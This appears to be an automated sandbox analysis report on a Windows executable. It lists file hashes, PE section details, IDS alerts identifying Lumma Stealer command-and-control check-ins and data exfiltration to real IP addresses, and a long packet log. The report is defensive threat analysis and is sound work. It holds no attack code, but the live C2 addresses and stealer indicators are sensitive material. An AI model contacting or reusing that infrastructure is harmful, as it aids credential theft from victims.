Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	dropped
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.949266989868795
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'878'528 bytes
MD5:	fb259c5ebc086a3062f5f3dd9e2955ac
SHA1:	14a87eb04c4339f770d55b7f64e0728c87c7b840
SHA256:	3af486387a0869f29281558b0d919337c181c10999865d3db09fae595b45f9c1
SHA512:	ebe1b3691ab0c860b2bf8bfdf28d916e29f6d96705eaf6861715f651ec8d50a3ec06f958cebfb469dde0dc70ca844c0dda891a640aa7c3b6a9e836004b2d58e9
SSDEEP:	49152:fV7535K/umP0Z5iSRW9IOEavBiG6WdKjhG:d135+8GSUD5iG6DI
TLSH:	329533A359D8873EE2896E3C5257D32770B42B38D8888347C961ED628CFA45FDB4315A
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....XKg.............................pJ...........@...........................J.....7.....@.................................\P..p..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8a7000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x674B5807 [Sat Nov 30 18:23:03 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FD9A8E7C71Ah
js 00007FD9A8E7C732h
add byte ptr [eax], al
jmp 00007FD9A8E7E715h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5505c	0x70	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x54000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x551f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x53000	0x24600	4e6658d7af2d97d2dae2f0e628680b5e	False	0.9995771585051546	data	7.98257205213109	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x54000	0x1ac	0x200	ea0fb63200150163ce2efe177307a2a1	False	0.583984375	data	4.529231476207483	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x55000	0x1000	0x200	79d7f943fbf3ade70a3c2714c732a2e3	False	0.15625	data	1.1194718105633323	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x56000	0x2ad000	0x200	3d76648c7cf296407f076c9df1ab3d4a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
hsnjpung	0x303000	0x1a3000	0x1a2800	7a1fdd04f830faf6ef3bbba269b8113c	False	0.9948033340800478	data	7.954483778892295	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ysrnjetn	0x4a6000	0x1000	0x400	a4346908bbdf4cd7002f36bfaa856705	False	0.8193359375	data	6.345204071449041	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4a7000	0x3000	0x2200	ebe71d20361b16d5b7aac0e518efb405	False	0.05043658088235294	DOS executable (COM)	0.5587995371490101	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4a54d8	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-01T03:32:18.756115+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49703	172.67.165.166	443	TCP
2024-12-01T03:32:21.164644+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49703	172.67.165.166	443	TCP
2024-12-01T03:32:21.164644+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49703	172.67.165.166	443	TCP
2024-12-01T03:32:22.535089+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49705	172.67.165.166	443	TCP
2024-12-01T03:32:23.874910+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49705	172.67.165.166	443	TCP
2024-12-01T03:32:23.874910+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49705	172.67.165.166	443	TCP
2024-12-01T03:32:25.451828+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49711	172.67.165.166	443	TCP
2024-12-01T03:32:29.515864+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49720	172.67.165.166	443	TCP
2024-12-01T03:32:33.744132+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49732	172.67.165.166	443	TCP
2024-12-01T03:32:39.015096+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49747	172.67.165.166	443	TCP
2024-12-01T03:32:42.069728+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49747	172.67.165.166	443	TCP
2024-12-01T03:32:43.832728+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49757	172.67.165.166	443	TCP
2024-12-01T03:32:43.857378+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.7	49757	172.67.165.166	443	TCP
2024-12-01T03:32:50.813597+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49774	172.67.165.166	443	TCP
2024-12-01T03:32:52.475687+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49774	172.67.165.166	443	TCP
2024-12-01T03:32:53.987141+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	49783	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 1, 2024 03:32:12.281718016 CET	49675	443	192.168.2.7	104.98.116.138
Dec 1, 2024 03:32:12.281724930 CET	49674	443	192.168.2.7	104.98.116.138
Dec 1, 2024 03:32:12.375555038 CET	49672	443	192.168.2.7	104.98.116.138
Dec 1, 2024 03:32:13.985106945 CET	49677	443	192.168.2.7	20.50.201.200
Dec 1, 2024 03:32:14.359862089 CET	49677	443	192.168.2.7	20.50.201.200
Dec 1, 2024 03:32:14.781694889 CET	49671	443	192.168.2.7	204.79.197.203
Dec 1, 2024 03:32:15.109808922 CET	49677	443	192.168.2.7	20.50.201.200
Dec 1, 2024 03:32:16.609796047 CET	49677	443	192.168.2.7	20.50.201.200
Dec 1, 2024 03:32:17.480591059 CET	49703	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:17.480633020 CET	443	49703	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:17.480739117 CET	49703	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:17.491082907 CET	49703	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:17.491101027 CET	443	49703	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:18.756016970 CET	443	49703	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:18.756114960 CET	49703	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:18.760610104 CET	49703	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:18.760624886 CET	443	49703	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:18.760972977 CET	443	49703	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:18.813600063 CET	49703	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:18.846487045 CET	49703	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:18.846487045 CET	49703	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:18.846643925 CET	443	49703	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:19.594183922 CET	49677	443	192.168.2.7	20.50.201.200
Dec 1, 2024 03:32:20.180402994 CET	49704	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:20.180452108 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:20.180624962 CET	49704	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:20.181016922 CET	49704	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:20.181032896 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:21.164661884 CET	443	49703	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:21.164737940 CET	443	49703	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:21.164804935 CET	49703	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:21.166436911 CET	49703	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:21.166460037 CET	443	49703	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:21.166491985 CET	49703	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:21.166498899 CET	443	49703	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:21.274368048 CET	49705	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:21.274416924 CET	443	49705	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:21.274476051 CET	49705	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:21.274807930 CET	49705	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:21.274821997 CET	443	49705	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:21.891069889 CET	49675	443	192.168.2.7	104.98.116.138
Dec 1, 2024 03:32:21.891081095 CET	49674	443	192.168.2.7	104.98.116.138
Dec 1, 2024 03:32:21.901602983 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:21.901737928 CET	49704	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:21.904242039 CET	49704	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:21.904251099 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:21.904486895 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:21.912281990 CET	49704	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:21.959325075 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:21.984894037 CET	49672	443	192.168.2.7	104.98.116.138
Dec 1, 2024 03:32:22.377182961 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.377201080 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.377270937 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.377288103 CET	49704	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:22.377320051 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.377357960 CET	49704	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:22.377404928 CET	49704	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:22.534975052 CET	443	49705	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:22.535089016 CET	49705	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:22.536428928 CET	49705	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:22.536434889 CET	443	49705	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:22.536664009 CET	443	49705	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:22.538037062 CET	49705	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:22.538053989 CET	49705	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:22.538106918 CET	443	49705	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:22.553318024 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.553344965 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.553399086 CET	49704	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:22.553411007 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.553421974 CET	49704	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:22.553477049 CET	49704	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:22.637836933 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.637852907 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.637975931 CET	49704	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:22.637994051 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.638087034 CET	49704	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:22.724911928 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.724931955 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.725121021 CET	49704	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:22.725137949 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.725192070 CET	49704	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:22.757559061 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.757603884 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.757647038 CET	49704	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:22.757658005 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.757689953 CET	49704	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:22.757699013 CET	49704	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:22.786109924 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.786125898 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.786209106 CET	49704	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:22.786221027 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.786287069 CET	49704	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:22.807549953 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.807565928 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.807631969 CET	49704	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:22.807641029 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.807809114 CET	49704	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:22.910012007 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.910036087 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.910160065 CET	49704	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:22.910176039 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.910270929 CET	49704	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:22.927361012 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.927376986 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.927445889 CET	49704	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:22.927455902 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.927531958 CET	49704	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:22.940700054 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.940716982 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.940817118 CET	49704	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:22.940825939 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.940943003 CET	49704	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:22.955262899 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.955277920 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.955351114 CET	49704	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:22.955359936 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.955408096 CET	49704	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:22.969736099 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.969753981 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.969831944 CET	49704	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:22.969841957 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.969882965 CET	49704	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:22.983442068 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.983459949 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.983526945 CET	49704	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:22.983535051 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.983603001 CET	49704	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:22.989502907 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.989562988 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.989579916 CET	49704	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:22.989614010 CET	49704	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:22.989633083 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:22.989670992 CET	49704	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:22.989680052 CET	443	49704	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:23.025238991 CET	49707	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:23.025259972 CET	443	49707	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:23.025399923 CET	49707	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:23.025402069 CET	49706	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:23.025419950 CET	443	49706	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:23.025484085 CET	49706	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:23.025604010 CET	49707	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:23.025619030 CET	443	49707	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:23.026531935 CET	49706	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:23.026551008 CET	443	49706	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:23.027151108 CET	49708	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:23.027178049 CET	443	49708	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:23.027234077 CET	49708	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:23.027331114 CET	49708	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:23.027343035 CET	443	49708	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:23.028203964 CET	49709	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:23.028224945 CET	443	49709	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:23.028290033 CET	49709	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:23.028758049 CET	49710	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:23.028774023 CET	443	49710	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:23.028867960 CET	49710	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:23.028949976 CET	49709	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:23.028963089 CET	443	49709	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:23.028990030 CET	49710	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:23.029000998 CET	443	49710	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:23.874913931 CET	443	49705	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:23.875020027 CET	443	49705	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:23.875072956 CET	49705	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:23.875094891 CET	443	49705	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:23.883291960 CET	443	49705	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:23.883352995 CET	49705	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:23.883362055 CET	443	49705	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:23.891767025 CET	443	49705	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:23.891813040 CET	49705	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:23.891822100 CET	443	49705	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:23.900098085 CET	443	49705	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:23.900156021 CET	49705	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:23.900163889 CET	443	49705	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:23.953567028 CET	49705	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:23.953583956 CET	443	49705	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:23.999017000 CET	443	49705	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:23.999069929 CET	49705	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:23.999093056 CET	443	49705	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:24.047322035 CET	49705	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:24.076067924 CET	443	49705	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:24.079866886 CET	443	49705	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:24.079921961 CET	49705	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:24.080060005 CET	49705	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:24.080071926 CET	443	49705	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:24.080097914 CET	49705	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:24.080104113 CET	443	49705	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:24.192722082 CET	49711	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:24.192744970 CET	443	49711	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:24.192835093 CET	49711	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:24.193582058 CET	49711	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:24.193594933 CET	443	49711	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:24.391192913 CET	49671	443	192.168.2.7	204.79.197.203
Dec 1, 2024 03:32:24.744451046 CET	443	49708	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:24.748281956 CET	49708	443	192.168.2.7	13.107.246.63
